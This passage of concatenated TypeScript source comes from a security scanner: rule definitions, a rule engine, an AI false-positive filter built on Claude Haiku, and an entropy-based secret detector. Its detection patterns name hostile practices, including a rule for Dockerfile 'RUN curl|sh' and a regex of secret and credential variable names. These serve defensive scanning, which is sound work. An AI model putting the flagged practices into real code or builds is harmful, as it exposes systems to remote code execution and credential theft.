head\n VC185: { owasp: \"A05:2021\", cwe: \"CWE-732\" }, // permissions: write-all\n VC186: { owasp: \"A03:2021\", cwe: \"CWE-78\" }, // expression injection in run:\n VC187: { owasp: \"A08:2021\", cwe: \"CWE-829\" }, // third-party action receiving secrets\n // VC188–VC190: Dockerfile hardening\n VC188: { owasp: \"A05:2021\", cwe: \"CWE-1357\" }, // ADD instead of COPY\n VC189: { owasp: \"A08:2021\", cwe: \"CWE-494\" }, // RUN curl|sh\n VC190: { owasp: \"A04:2021\", cwe: \"CWE-754\" }, // missing HEALTHCHECK\n // VC191–VC197: Python-specific security gaps\n VC191: { owasp: \"A02:2021\", cwe: \"CWE-295\" }, // requests verify=False\n VC192: { owasp: \"A03:2021\", cwe: \"CWE-79\" }, // Jinja2 autoescape=False\n VC193: { owasp: \"A04:2021\", cwe: \"CWE-377\" }, // tempfile.mktemp TOCTOU\n VC194: { owasp: \"A03:2021\", cwe: \"CWE-79\" }, // Django mark_safe\n VC195: { owasp: \"A02:2021\", cwe: \"CWE-295\" }, // paramiko AutoAddPolicy\n VC196: { owasp: \"A05:2021\", cwe: \"CWE-20\" }, // ALLOWED_HOSTS wildcard\n VC197: { owasp: \"A02:2021\", cwe: \"CWE-347\" }, // PyJWT no algorithm allowlist\n // VC198–VC203: AI / LLM-specific security\n VC198: { owasp: \"A03:2021\", cwe: \"CWE-94\" }, // prompt injection via user input\n VC199: { owasp: \"A03:2021\", cwe: \"CWE-94\" }, // system-prompt injection\n VC200: { owasp: \"A03:2021\", cwe: \"CWE-79\" }, // LLM output as raw HTML (XSS)\n VC201: { owasp: \"A01:2021\", cwe: \"CWE-639\" }, // vector-store query without user filter\n VC202: { owasp: \"A01:2021\", cwe: \"CWE-639\" }, // vector-store upsert without user metadata\n VC203: { owasp: \"A04:2021\", cwe: \"CWE-770\" }, // LLM call without max_tokens\n // VC204–VC206: GraphQL server hardening\n VC204: { owasp: \"A04:2021\", cwe: \"CWE-770\" }, // no query depth limit\n VC205: { owasp: \"A04:2021\", cwe: \"CWE-770\" }, // no query complexity limit\n VC206: { owasp: \"A01:2021\", cwe: \"CWE-352\" }, // Apollo csrfPrevention: false\n // VC207–VC208: AI/LLM data-flow\n VC207: { owasp: \"A03:2021\", cwe: \"CWE-94\" }, // model output → code/cmd/query/fs sink\n VC208: { owasp: \"A09:2021\", cwe: \"CWE-532\" }, // secret interpolated into LLM prompt\n // VC209–VC210: advisory heuristics\n VC209: { owasp: \"A04:2021\", cwe: \"CWE-799\" }, // webhook missing idempotency\n VC210: { owasp: \"A01:2021\", cwe: \"CWE-862\" }, // middleware matcher excludes /api\n // VC211–VC212: hardcoded sensitive personal data (PII) in source\n VC211: { owasp: \"A02:2021\", cwe: \"CWE-540\" }, // hardcoded credit card number\n VC212: { owasp: \"A02:2021\", cwe: \"CWE-540\" }, // hardcoded US SSN\n // VC213–VC214: account state held in browser storage\n VC213: { owasp: \"A01:2021\", cwe: \"CWE-602\" }, // entitlement from web storage (client-side enforcement)\n VC214: { owasp: \"A04:2021\", cwe: \"CWE-1188\" }, // per-account state from web storage (insecure default state)\n};\n\n// ────────────────────────────────────────────\n// VC097 – Console.log in Production\n// ────────────────────────────────────────────\n\nexport const consoleLogProduction: CustomRule = {\n id: \"VC097\",\n title: \"Console.log Left in Production Code\",\n // Demoted from \"low\" to \"info\" 2026-05-11. This is a code-hygiene\n // signal (leaked debug logs, occasionally PII), not a security\n // vulnerability in the OWASP sense. Was inflating severity counts\n // on real codebases (11+ hits on vibecheck's own scan), drowning\n // the actual security signal.\n severity: \"info\",\n category: \"Performance\",\n description: \"console.log statements left in production code can leak sensitive data, slow down rendering, and clutter browser consoles.\",\n check(content, filePath) {\n if (isTestFile(filePath)) return [];\n // Skip server-side scripts, migration files, CLI tools, and seed files\n if (/(?:migrate|seed|script|cli|setup|dev)\\./i.test(filePath)) return [];\n if (!/console\\.log\\s*\\(/g.test(content)) return [];\n const lines = content.split(\"\\n\");\n const logCount = lines.filter(l => /console\\.log\\s*\\(/.test(l.trim()) && !l.trim().startsWith(\"//\")).length;\n // If a file has many console.logs, it's intentional logging, not forgotten debug statements\n if (logCount > 5) return [];\n const matches: RuleMatch[] = [];\n for (let i = 0; i < lines.length; i++) {\n const line = lines[i].trim();\n if (/console\\.log\\s*\\(/.test(line) && !line.startsWith(\"//\") && !line.startsWith(\"*\") && !/if\\s*\\(\\s*(?:debug|process\\.env)/i.test(lines[Math.max(0, i-1)] + line)) {\n matches.push({ rule: \"VC097\", title: consoleLogProduction.title, severity: \"low\" as const, category: \"Performance\", file: filePath, line: i + 1, snippet: getSnippet(content, i + 1), fix: \"Remove console.log or use a structured logger that can be disabled in production.\" });\n }\n }\n return matches.slice(0, 1); // Max 1 per file to avoid noise\n },\n};\n\n// ────────────────────────────────────────────\n// VC103 – TODO/FIXME Left in Code\n// ────────────────────────────────────────────\n\nexport const todoLeftInCode: CustomRule = {\n id: \"VC103\",\n title: \"TODO/FIXME Left in Code\",\n severity: \"low\",\n category: \"Code Quality\",\n description: \"TODO, FIXME, HACK, and XXX comments indicate unfinished work that should be resolved before shipping to production.\",\n check(content, filePath) {\n if (filePath.match(/test|spec|mock|__tests__|fixture|node_modules/i)) return [];\n return findMatches(content, /\\/\\/\\s*(?:TODO|FIXME|HACK|XXX)\\b/gi, todoLeftInCode, filePath, () =>\n \"Resolve TODO/FIXME comments before shipping. If it's intentional tech debt, track it in your issue tracker instead.\"\n ).slice(0, 5);\n },\n};\n\n// ────────────────────────────────────────────\n// VC104 – Empty Catch Block\n// ────────────────────────────────────────────\n\nexport const emptyCatchBlock: CustomRule = {\n id: \"VC104\",\n title: \"Empty Catch Block\",\n // Demoted from \"medium\" to \"info\" 2026-05-11. Already a Code-Quality\n // category — empty catch blocks are a maintainability concern, not a\n // security vulnerability. Worth flagging, not worth counting as a\n // security \"medium\" alongside actual SQL-injection / XSS findings.\n severity: \"info\",\n category: \"Code Quality\",\n description: \"Empty catch blocks silently swallow errors, making bugs impossible to diagnose. At minimum, log the error.\",\n check(content, filePath) {\n if (filePath.match(/test|spec|mock/i)) return [];\n return findMatches(content, /catch\\s*(?:\\([^)]*\\))?\\s*\\{\\s*\\}/g, emptyCatchBlock, filePath, () =>\n \"Handle errors in catch blocks: catch(err) { console.error('Operation failed:', err); } or re-throw if appropriate.\"\n );\n },\n};\n\n// ────────────────────────────────────────────\n// VC146–VC151: SECRET EXPOSURE PATH ANALYSIS\n// Detects when secrets are used in ways that amplify exposure.\n// ────────────────────────────────────────────\n\nconst SECRET_VAR_RE = /(?:api[_-]?key|apikey|api[_-]?secret|secret[_-]?key|access[_-]?token|auth[_-]?token|private[_-]?key|password|passwd|pwd|credentials|client[_-]?secret|app[_-]?secret|master[_-]?key)/i;\n\n// ────────────────────────────────────────────\n// RULE TIERS: FREE (30 rules, here) + PRO (184 rules, NOT here)\n// The Pro rules live in packages/pro-rules, a private workspace package that\n// is never published. Do not add a Pro rule to this file.\n// ────────────────────────────────────────────\n\n// Free tier: core security rules available to everyone (30 of 214)\nexport const freeRules: CustomRule[] = [\n hardcodedSecrets, // VC001\n exposedEnvFile, // VC002\n missingAuthMiddleware, // VC003\n supabaseNoRLS, // VC004\n stripeWebhookUnprotected, // VC005\n sqlInjection, // VC006\n xssVulnerability, // VC007\n noRateLimiting, // VC008\n corsWildcard, // VC009\n clientSideAuth, // VC010\n nextPublicSecret, // VC011\n envNotGitignored, // VC014\n evalUsage, // VC015\n unvalidatedRedirect, // VC016\n insecureCookies, // VC017\n exposedAuthSecret, // VC018\n missingCSP, // VC020\n hardcodedJWTSecret, // VC031\n missingHTTPS, // VC032\n exposedDebugMode, // VC033\n insecureRandomness, // VC034\n missingErrorBoundary, // VC036\n exposedStackTraces, // VC037\n missingLockFile, // VC039\n dangerousInnerHTML, // VC063\n consoleLogProduction, // VC097\n emptyCatchBlock, // VC104\n todoLeftInCode, // VC103\n weakHashing, // VC060\n disabledTLSVerification, // VC061\n];\n\n// Pro rules are delivered server-side — not shipped in npm package.\n// See: /api/cli/rules-bundle endpoint, built from packages/pro-rules.\nexport const allRules = freeRules;\n\nexport function runCustomRules(\n content: string,\n filePath: string,\n disabledRules: string[] = [],\n tier: \"free\" | \"pro\" = \"free\",\n extraRules: CustomRule[] = [],\n /**\n * Cross-file facts for the project being scanned, from\n * buildProjectContext(). Optional: callers that scan a single file with no\n * project around it (the MCP server, the editor extension, a pasted\n * snippet) pass nothing, and every rule must still work.\n */\n project?: ProjectContext,\n): Finding[] {\n const findings: Finding[] = [];\n\n // Skip files that ARE security scanners (avoid scanning ourselves)\n if (/function runScan\\(files\\)|export function runCustomRules/.test(content) && /const (?:rules|allRules)\\s*[:=]/.test(content) && /findMatches/.test(content)) {\n return findings;\n }\n\n // Skip compiled bundles (pro-rules-bundle.cjs, webpack output, etc.)\n if (/pro-rules-bundle|\\.bundle\\./i.test(filePath)) return findings;\n\n // Skip minified / generated / data-blob content. No human-authored source\n // has a single line anywhere near this long; files that do are minified\n // bundles, generated output, or embedded data — none of which the\n // line-oriented regex rules can meaningfully scan, and all of which are the\n // exact shape that makes a catastrophic-backtracking regex (or sheer match\n // volume) burn super-linear CPU. This is the systemic backstop for the\n // ReDoS / CPU-DoS class on the public scan endpoint: it bounds the worst\n // case for EVERY rule — including any vulnerable regex not yet individually\n // hardened — regardless of payload (security review, June 2026). The\n // per-regex bounds and the memoized line index keep genuinely-large-but-\n // legitimate lines scannable below this threshold.\n let maxLineLen = 0;\n {\n let lineStart = 0;\n for (let i = 0; i <= content.length; i++) {\n if (i === content.length || content.charCodeAt(i) === 10 /* \\n */) {\n if (i - lineStart > maxLineLen) maxLineLen = i - lineStart;\n lineStart = i + 1;\n }\n }\n }\n if (maxLineLen > 50_000) return findings;\n\n // Skip files that contain intentional example/demo vulnerable code\n // (blog code samples, documentation examples, demo payloads).\n //\n // `onboarding` USED TO BE IN THIS LIST and was removed: it is an ordinary\n // product word, not a demo marker. Matching it meant every file under an\n // `onboarding/` directory — a feature area in most SaaS apps — was skipped by\n // EVERY rule, silently. The hole was found when a new rule written for a bug\n // in `components/onboarding.tsx` could not fire on the file it was written\n // for.\n //\n // The remaining three are demo markers rather than domain words. A project\n // whose own onboarding file really does embed sample vulnerable code says so\n // in `.xploitscanignore`, which is the mechanism built for this and which\n // this repository already uses for `sample-project.ts`, `DemoScanner.tsx`\n // and `demo-data.ts`. That keeps the exemption explicit and local instead of\n // charging every user for it.\n if (/demo-data|example-vulnerable|code-sample/i.test(filePath)) return findings;\n\n // Vendored / generated / documentation code is still scanned and still\n // reported — the label only holds these findings out of the grade. See\n // vendored.ts. Computed once per file rather than per match.\n const vendoredFile = isVendoredPath(filePath);\n\n // Free tier uses bundled rules; Pro tier uses free + server-delivered extra rules\n const ruleset = tier === \"pro\" && extraRules.length > 0\n ? [...freeRules, ...extraRules]\n : freeRules;\n // Split once per file, and only when the file contains a marker at all.\n // Doing it per match would be O(content x matches) — the same shape as the\n // CPU-DoS that the incremental line counter in findMatches exists to avoid.\n // Practically every file has no marker, so one substring test buys the split\n // for the few that do.\n const silenceableLines = /-OK\\b/i.test(content) ? content.split(\"\\n\") : null;\n\n for (const rule of ruleset) {\n if (disabledRules.includes(rule.id)) continue;\n\n const matches = rule.check(content, filePath, project);\n const compliance = complianceMap[rule.id];\n // Secret-class rules are graded wherever they fire, so they must not carry\n // the \"not graded\" label either — the badge and the score have to agree.\n // isVendoredFinding is the single predicate both sides go through.\n const vendored = vendoredFile && isVendoredFinding({ file: filePath, rule: rule.id, category: rule.category });\n for (const match of matches) {\n // Inline suppression, for EVERY rule.\n //\n // `// VC044-OK: reason` and the `scanner-OK` wildcard were documented on\n // the docs page and in the changelog as a general mechanism, and they\n // were not one: rules opted in individually, so the marker worked on 18\n // of 214 and did nothing at all on the rest — silently. That is the worst\n // failure a suppression mechanism has: the developer writes the comment,\n // has it reviewed, and the finding is still there with no explanation.\n //\n // Here rather than per rule, and here rather than in findMatches,\n // because this is where every match from every source — regex, AST, and\n // hand-written check() functions alike — becomes a Finding. A rule can\n // no longer be absent from a list, because there is no list. The hosted\n // API's runScan (packages/api) calls rule.check itself and repeats this\n // check; keep the two in step.\n //\n // The rules that already call isInlineSilenced themselves are now\n // double-checking, which costs nothing and is left alone: removing those\n // calls would be a second edit across 25 sites for no behaviour change.\n if (silenceableLines && isLineSilenced(silenceableLines, match.line - 1, match.rule)) {\n continue;\n }\n\n findings.push({\n ...(vendored ? { vendored: true } : {}),\n id: `${match.rule}-${match.file}:${match.line}`,\n rule: match.rule,\n severity: match.severity,\n title: match.title,\n description: rule.description,\n file: match.file,\n line: match.line,\n column: match.column,\n snippet: match.snippet,\n fix: match.fix,\n category: match.category,\n source: \"custom\",\n owasp: compliance?.owasp,\n cwe: compliance?.cwe,\n });\n }\n }\n\n return findings;\n}\n","/**\n * Rule-set sizes as plain numbers, importable without dragging the rules in.\n *\n * WHY THIS FILE EXISTS — read before \"simplifying\" it back to `.length`.\n *\n * The CLI needs to tell a free user how many rules Pro unlocks. The obvious\n * way is `allCustomRules.length`. Doing exactly that shipped **63 Pro-only\n * rule definitions into the published free CLI bundle** in v1.3.3: tsup marks\n * shared-rules `noExternal`, so importing the array inlines every regex, check\n * body and fix string it contains. v1.3.2's executable JS had zero Pro-range\n * rule IDs; v1.3.3's had 63, and the main chunk grew 1.7MB -> 1.9MB.\n *\n * `rules.ts` states the rule plainly: \"Pro rules are delivered server-side —\n * not shipped in npm package.\" A count is a number, and a number is all the\n * CLI should have to import to print one.\n *\n * Since 2.0.0 the Pro rules are not in this package at all — they live in the\n * private packages/pro-rules — so this package CANNOT compute 184 or 214: the\n * arrays those numbers describe do not exist here. Literals are the only way\n * to publish them.\n *\n * So: literals here, and packages/pro-rules/src/rule-counts.test.ts asserts\n * each one equals the real array's length. The value is *derived at test time*\n * and *shipped as a constant* — drift fails CI instead of reaching npm, and\n * nothing in this file references a rule.\n *\n * THIS FILE MUST NOT IMPORT FROM ./rules.js. That import is the entire bug.\n */\n\n/** Rules any caller gets, including anonymous and free-tier CLI users. */\nexport const FREE_RULE_COUNT = 30;\n\n/** Rules gated behind a paid plan and served from the API, never bundled. */\nexport const PRO_RULE_COUNT = 184;\n\n/** The full catalog. FREE_RULE_COUNT + PRO_RULE_COUNT, asserted in the test. */\nexport const TOTAL_RULE_COUNT = 214;\n","import Anthropic from \"@anthropic-ai/sdk\";\nimport { MODEL_TRIAGE, MODEL_TEMPERATURE } from \"./models.js\";\nimport type { Finding } from \"./types.js\";\n\n/**\n * AI-powered false positive filter.\n *\n * Takes findings from the regex/entropy scanners and asks Claude Haiku\n * to classify each one as \"real\" or \"false positive\" based on the\n * surrounding code context. Findings marked FP are removed before the\n * user sees them, but preserved in filteredFindings so users can\n * review the AI's decisions.\n */\n\nconst REVIEW_SYSTEM_PROMPT = `You are reviewing security scan findings for false positives. Your job is to look at each finding and the surrounding code to determine if it's a REAL security vulnerability or a FALSE POSITIVE.\n\nCommon false positive patterns you should catch:\n- Auth check exists inside the function body (requireUser, requireUserForApi, getSession, etc.) but the scanner only checked the function signature\n- The flagged pattern is in example/documentation/tutorial code, not production code\n- The variable is developer-controlled (constants, config values, static strings), not user input\n- The flagged function is a database method (conn.exec, db.exec, prisma.$executeRaw) not a shell command (child_process.exec)\n- The comparison is a type check (typeof x === \"string\") not a secret comparison\n- The file is a test, mock, or fixture file\n- The \"secret\" is a publishable/public key (pk_test_, NEXT_PUBLIC_CLERK_PUBLISHABLE_KEY) designed to be client-side\n- The value is a slot/name identifier, not a credential: a SCREAMING_CASE *_KEY constant assigned a short lowercase word string (e.g. INDEX_KEY = \"mc_saves_index\", CACHE_KEY = \"user-prefs-v2\") is a localStorage/cookie/cache key NAME, not a secret. Real secrets are high-entropy and mixed-case (sk_live_aBcD…), not dictionary words joined by - or _\n- The innerHTML/dangerouslySetInnerHTML uses a static constant or JSON.stringify, not user input\n- The redirect URL has already been validated (isAllowedRedirect, validateRedirect)\n- The webhook endpoint is for a non-Stripe service but flagged as \"Stripe webhook\"\n- The \"sensitive data in URL\" is in a comment or documentation, not actual code\n- Package-lock.json URLs flagged as secrets (they're npm registry URLs, not secrets)\n\nFor each finding, respond ONLY with a JSON array. No other text.\nEach element: {\"index\": <number>, \"verdict\": \"real\" or \"fp\", \"reason\": \"<1 sentence>\"}`;\n\nconst MAX_FINDINGS_PER_BATCH = 15;\nconst MAX_CONTEXT_LINES = 10;\n/**\n * Cap on findings reviewed by the AI filter per scan. Findings are batched\n * PER FILE at MAX_FINDINGS_PER_BATCH, so the number of Haiku calls scales\n * with the count of distinct files that have findings — best case ~ceil(N/15)\n * when they cluster in a few files, worst case ~N when spread one-per-file\n * (bounded by this cap either way). At Haiku pricing that's pennies per scan\n * — worth it to dramatically cut FP noise on real-world repos.\n *\n * The old default of 50 was set when the typical scan was a small fixture\n * or PR diff. Real-codebase scans easily produce 500+ raw findings, and\n * a 50-cap meant the filter reviewed <10% of them — basically useless\n * once the codebase grew. 200 covers most monorepos completely; users\n * with truly massive codebases can override via env var.\n */\nconst DEFAULT_MAX_TOTAL_FINDINGS = 200;\nconst MAX_TOTAL_FINDINGS = (() => {\n const raw = process.env.XPLOITSCAN_AI_FILTER_MAX;\n if (!raw) return DEFAULT_MAX_TOTAL_FINDINGS;\n const n = parseInt(raw, 10);\n if (!Number.isFinite(n) || n < 1) return DEFAULT_MAX_TOTAL_FINDINGS;\n return Math.min(n, 1000); // hard ceiling so a runaway env var can't burn through API budget\n})();\n\n/**\n * How many Haiku review calls run at once. The filter makes one call per file\n * (findings batched at MAX_FINDINGS_PER_BATCH), and the calls are independent\n * — each writes only to fpMap keyed by global finding index, so order doesn't\n * matter. Running them sequentially made wall-clock scale linearly with the\n * number of files that have findings (a 41-file scan = ~40 back-to-back ~1s\n * round-trips). A bounded pool cuts that to roughly sum / MAX_CONCURRENT while\n * staying well under Haiku's rate limits. Override via env if you hit limits.\n */\nconst DEFAULT_MAX_CONCURRENT = 6;\nconst MAX_CONCURRENT = (() => {\n const raw = process.env.XPLOITSCAN_AI_CONCURRENCY;\n if (!raw) return DEFAULT_MAX_CONCURRENT;\n const n = parseInt(raw, 10);\n if (!Number.isFinite(n) || n < 1) return DEFAULT_MAX_CONCURRENT;\n return Math.min(n, 20); // ceiling so we don't trip provider rate limits\n})();\n\n/**\n * Priority order for AI review when total findings exceed the cap. We want\n * to always review critical findings first (those are what the user acts\n * on), then high, then medium, then low. Without this sort the filter\n * picks the first N findings in scanner-output order, which is\n * essentially arbitrary — a critical AKIA-pattern hit can lose its review\n * slot to a low-severity \"console.log left in code\" finding that happened\n * to be emitted earlier.\n */\nconst SEVERITY_PRIORITY: Record<string, number> = {\n critical: 0,\n high: 1,\n medium: 2,\n low: 3,\n info: 4,\n};\n\ninterface ReviewResult {\n index: number;\n verdict: \"real\" | \"fp\";\n reason: string;\n}\n\nexport interface FilteredFinding {\n finding: Finding;\n reason: string;\n}\n\nexport interface AIFilterResult {\n findings: Finding[];\n filteredFindings: FilteredFinding[];\n aiReviewed: boolean;\n removedCount: number;\n totalBefore: number;\n /**\n * Findings that were NOT AI-reviewed because their batch's model call\n * failed (e.g. a burst of 429s), even though other batches succeeded.\n * 0 on a full review. Lets the UI honestly say \"partially reviewed\"\n * instead of labeling unreviewed findings as AI-verified. Does NOT count\n * findings skipped by the MAX_TOTAL_FINDINGS cap — that's by design, not\n * a failure.\n */\n unreviewedCount: number;\n}\n\nfunction getExpandedContext(content: string, line: number, contextLines: number = MAX_CONTEXT_LINES): string {\n const lines = content.split(\"\\n\");\n const start = Math.max(0, line - 1 - contextLines);\n const end = Math.min(lines.length, line + contextLines);\n return lines.slice(start, end).map((l, i) => {\n const lineNum = start + i + 1;\n const marker = lineNum === line ? \">>>\" : \" \";\n return `${marker} ${lineNum} | ${l}`;\n }).join(\"\\n\");\n}\n\nfunction buildReviewPrompt(findings: Finding[], fileContent: string): string {\n const parts: string[] = [];\n for (let i = 0; i < findings.length; i++) {\n const f = findings[i];\n const context = getExpandedContext(fileContent, f.line);\n parts.push(`--- Finding ${i} ---\nRule: ${f.rule} (${f.title})\nSeverity: ${f.severity}\nFile: ${f.file}\nLine: ${f.line}\nDescription: ${f.description}\nSuggested fix: ${f.fix || \"N/A\"}\n\nCode context:\n${context}\n`);\n }\n return `Review these ${findings.length} security scan findings. For each one, determine if it's a real vulnerability or a false positive based on the code context.\\n\\n${parts.join(\"\\n\")}`;\n}\n\nfunction parseReviewResponse(text: string): ReviewResult[] {\n try {\n const cleaned = text.replace(/```json\\n?/g, \"\").replace(/```\\n?/g, \"\").trim();\n const parsed = JSON.parse(cleaned);\n if (!Array.isArray(parsed)) return [];\n return parsed.filter(\n (r: unknown): r is ReviewResult =>\n typeof r === \"object\" && r !== null &&\n \"index\" in r && \"verdict\" in r &&\n ((r as ReviewResult).verdict === \"real\" || (r as ReviewResult).verdict === \"fp\")\n );\n } catch {\n return [];\n }\n}\n\n/**\n * Filter false positives from findings using Claude Haiku.\n *\n * Returns filtered findings, the removed findings with AI reasons,\n * and metadata about what the AI did.\n */\nexport async function filterFalsePositives(\n findings: Finding[],\n fileContents: Map<string, string>,\n): Promise<AIFilterResult> {\n const empty: AIFilterResult = { findings, filteredFindings: [], aiReviewed: false, removedCount: 0, totalBefore: findings.length, unreviewedCount: 0 };\n if (!process.env.ANTHROPIC_API_KEY) return empty;\n if (findings.length === 0) return empty;\n\n // Sort by severity priority before slicing so the cap always preserves\n // critical/high findings. Ties broken by stable order (sort isn't\n // guaranteed stable across engines but Node's V8 has been stable since\n // ~2018; an unstable tie-break only affects which findings within the\n // same severity bucket get reviewed, not whether criticals get reviewed\n // at all). Original ordering preserved for the OUTPUT (we rebuild the\n // findings array later from fpMap lookups, not from this sorted copy).\n const prioritized = [...findings].sort((a, b) => {\n const pa = SEVERITY_PRIORITY[(a.severity || \"\").toLowerCase()] ?? 5;\n const pb = SEVERITY_PRIORITY[(b.severity || \"\").toLowerCase()] ?? 5;\n return pa - pb;\n });\n const toReview = prioritized.slice(0, MAX_TOTAL_FINDINGS);\n const overflow = prioritized.slice(MAX_TOTAL_FINDINGS);\n const totalBefore = findings.length;\n\n const byFile = new Map<string, Finding[]>();\n for (const f of toReview) {\n const group = byFile.get(f.file) || [];\n group.push(f);\n byFile.set(f.file, group);\n }\n\n let client: Anthropic;\n try {\n client = new Anthropic();\n } catch {\n return empty;\n }\n\n // Track which findings are FP and why\n const fpMap = new Map<number, string>(); // globalIndex → reason\n\n // A batch counts as reviewed only if the model actually responded and we\n // parsed it. If EVERY call fails (out of credits, invalid key, API down),\n // reviewedAny stays false — we must not claim the findings were reviewed,\n // or the \"AI verified\" banner would lie and unreviewed findings would ship\n // as if confirmed. See the caller: aiReviewed:false → aiReview:null.\n let reviewedAny = false;\n let firstError: unknown = null;\n let failedBatches = 0;\n let unreviewedCount = 0; // findings whose batch call failed\n\n // Build the review tasks — one Haiku call per batch — then run them through\n // a bounded concurrency pool below. Collecting first (rather than calling\n // inline) lets independent per-file calls overlap instead of running\n // strictly one-after-another.\n const tasks: { batch: Finding[]; content: string }[] = [];\n for (const [file, fileFindings] of byFile) {\n const content = fileContents.get(file);\n if (!content) continue;\n for (let i = 0; i < fileFindings.length; i += MAX_FINDINGS_PER_BATCH) {\n tasks.push({ batch: fileFindings.slice(i, i + MAX_FINDINGS_PER_BATCH), content });\n }\n }\n\n const reviewBatch = async (task: { batch: Finding[]; content: string }): Promise<void> => {\n const { batch, content } = task; // destructure can't throw\n // buildReviewPrompt and the model call are inside the try so a single\n // throwing/failing batch degrades to \"unreviewed\" instead of rejecting\n // Promise.all and aborting every other in-flight worker.\n try {\n const prompt = buildReviewPrompt(batch, content);\n const response = await client.messages.create(\n {\n model: MODEL_TRIAGE,\n max_tokens: 1024,\n // Pinned, NOT left to the API default of 1.0. This is a binary\n // classification (real vs. false positive), not generation — there\n // is no upside to sampling variety and a real downside to it: a\n // filtered finding is a finding the user never sees, so drift here\n // means scanning the same unchanged code twice can yield different\n // results. Temperature 0 does not make the model bit-deterministic\n // (Anthropic makes no such guarantee), but it removes the one\n // variance source that was ours to control. See\n // scripts/fp-filter-repeatability.cjs for the measured flip rate,\n // and the assertion in ai-fp-filter.test.ts that keeps it pinned.\n temperature: MODEL_TEMPERATURE,\n system: REVIEW_SYSTEM_PROMPT,\n messages: [{ role: \"user\", content: prompt }],\n },\n // Cap a single call well under any serverless function timeout — the\n // SDK default is 10 minutes, long enough for one hung connection to\n // hold a worker until the platform SIGKILLs the whole scan request\n // (which would skip the graceful-degradation fallback). A timeout\n // turns a stuck batch into an unreviewed batch, handled below.\n { timeout: 20_000 },\n );\n\n const text = response.content\n .filter((b): b is Anthropic.TextBlock => b.type === \"text\")\n .map((b) => b.text)\n .join(\"\");\n\n const results = parseReviewResponse(text);\n reviewedAny = true;\n\n for (const r of results) {\n if (r.verdict === \"fp\" && r.index >= 0 && r.index < batch.length) {\n const globalIndex = toReview.indexOf(batch[r.index]);\n if (globalIndex !== -1) {\n fpMap.set(globalIndex, r.reason);\n }\n }\n }\n } catch (err) {\n failedBatches++;\n unreviewedCount += batch.length;\n if (!firstError) firstError = err;\n }\n };\n\n // Bounded worker pool: up to MAX_CONCURRENT workers each pull the next task\n // until the queue drains. `next++` reads-then-increments with no await in\n // between, so within Node's single-threaded event loop no two workers ever\n // claim the same task (and the shared fpMap/reviewedAny writes are likewise\n // between-await, so they don't interleave mid-update).\n let next = 0;\n const workerCount = Math.min(MAX_CONCURRENT, tasks.length);\n const workers = Array.from({ length: workerCount }, async () => {\n while (next < tasks.length) {\n const cur = next++;\n await reviewBatch(tasks[cur]);\n }\n });\n await Promise.all(workers);\n\n // Surface API failures in logs. Total failure (no batch reviewed) is the\n // credit-outage case — error level. Partial failure (some batches failed,\n // e.g. a burst of 429s) still returns aiReviewed:true, but those findings\n // were NOT reviewed, so warn: otherwise a sustained partial degradation is\n // indistinguishable from clean full reviews.\n if (firstError) {\n const msg = firstError instanceof Error ? firstError.message : String(firstError);\n if (!reviewedAny) {\n console.error(\n \"[ai-fp-filter] AI review unavailable — every model call failed; returning unreviewed findings:\",\n msg,\n );\n } else {\n console.warn(\n `[ai-fp-filter] partial AI review — ${failedBatches} of ${tasks.length} batch(es) failed; those findings were not reviewed:`,\n msg,\n );\n }\n }\n\n const filtered = toReview.filter((_, i) => !fpMap.has(i));\n const filteredFindings: FilteredFinding[] = [];\n for (const [idx, reason] of fpMap) {\n filteredFindings.push({ finding: toReview[idx], reason });\n }\n\n return {\n findings: [...filtered, ...overflow],\n filteredFindings,\n aiReviewed: reviewedAny,\n removedCount: fpMap.size,\n totalBefore,\n unreviewedCount,\n };\n}\n","/**\n * Shannon-entropy based secret detection.\n *\n * Catches high-entropy string literals that look like API keys / tokens /\n * credentials even when they don't match any of the service-specific\n * hardcoded-secret rules (VC001, VC132, etc). Fires a single `ENTROPY`\n * finding per suspicious literal.\n *\n * The trick to keeping this useful is keeping false positives down. Real\n * codebases are full of high-entropy strings that aren't secrets — SHA-256\n * hashes, UUIDs, base64 integrity hashes, Tailwind-generated class names,\n * SVG path data, Next.js content-addressed filenames, publishable\n * (intentionally-public) keys from Clerk/Stripe/etc. This scanner has three\n * layers of suppression before emitting a finding:\n *\n * 1. File-level: skip lockfiles, CSS/SVG/image/map files, node_modules,\n * minified/bundled output.\n * 2. Shape-level: if the string matches a known-safe shape (UUID, Git SHA,\n * integrity hash, publishable key prefix, Tailwind fingerprint, SVG\n * path data, Next.js content hash), skip.\n * 3. Context-level: inspect the assignment context — if the variable name\n * implies \"this holds a hash/digest/fingerprint\" (not a secret), skip.\n * If the variable name implies a secret (key/token/etc), lower the\n * entropy bar. Otherwise require high entropy AND no safe signals.\n *\n * When in doubt we bias toward suppressing — one FP every 100 scans is much\n * more costly to the product than one missed secret, because the expanded\n * VC132-VC151 service-specific rules already cover the most common key\n * formats.\n */\n\nimport type { Finding } from \"./types.js\";\nimport { isVendoredPath } from \"./vendored.js\";\nimport { isLineSilenced } from \"./silencing.js\";\n\nfunction shannonEntropy(str: string): number {\n const freq: Record<string, number> = {};\n for (const ch of str) {\n freq[ch] = (freq[ch] || 0) + 1;\n }\n const len = str.length;\n let entropy = 0;\n for (const count of Object.values(freq)) {\n const p = count / len;\n entropy -= p * Math.log2(p);\n }\n return entropy;\n}\n\n// ────────────────────────────────────────────\n// Shape-based allowlist — non-secret strings that look high-entropy\n// ────────────────────────────────────────────\n\nconst SAFE_PATTERNS: RegExp[] = [\n // UUIDs (v1-v5)\n /^[0-9a-f]{8}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{12}$/i,\n // Git commit hashes (long and short)\n /^[0-9a-f]{40}$/i,\n /^[0-9a-f]{7,8}$/i,\n // Hex colors\n /^#?[0-9a-fA-F]{3,8}$/,\n // Small base64 (< 20 chars can't be a real key anyway)\n /^[A-Za-z0-9+/]{1,19}={0,2}$/,\n // Package versions\n /^\\d+\\.\\d+\\.\\d+/,\n // Integrity-hash prefix (sha256-, sha512-, ...)\n /^sha\\d+-/i,\n // A command line, not a credential.\n //\n // npm scripts are the case: `\"benchmark:bearer\": \"node\n // scripts/bearer-benchmark.js\"`. The KEY contains \"bearer\", which\n // SECRET_VAR_NAMES treats as secret-suggesting, so the entropy bar drops to\n // 4.0 and the shell command on the right is reported as a critical hardcoded\n // secret. This product's own package.json did it twice.\n //\n // Two shapes, both unambiguous: a value that starts with a known runner, and\n // a value containing whitespace plus a path or a file extension. No\n // credential has either — API keys, tokens, JWTs and connection strings are\n // all single unbroken words.\n 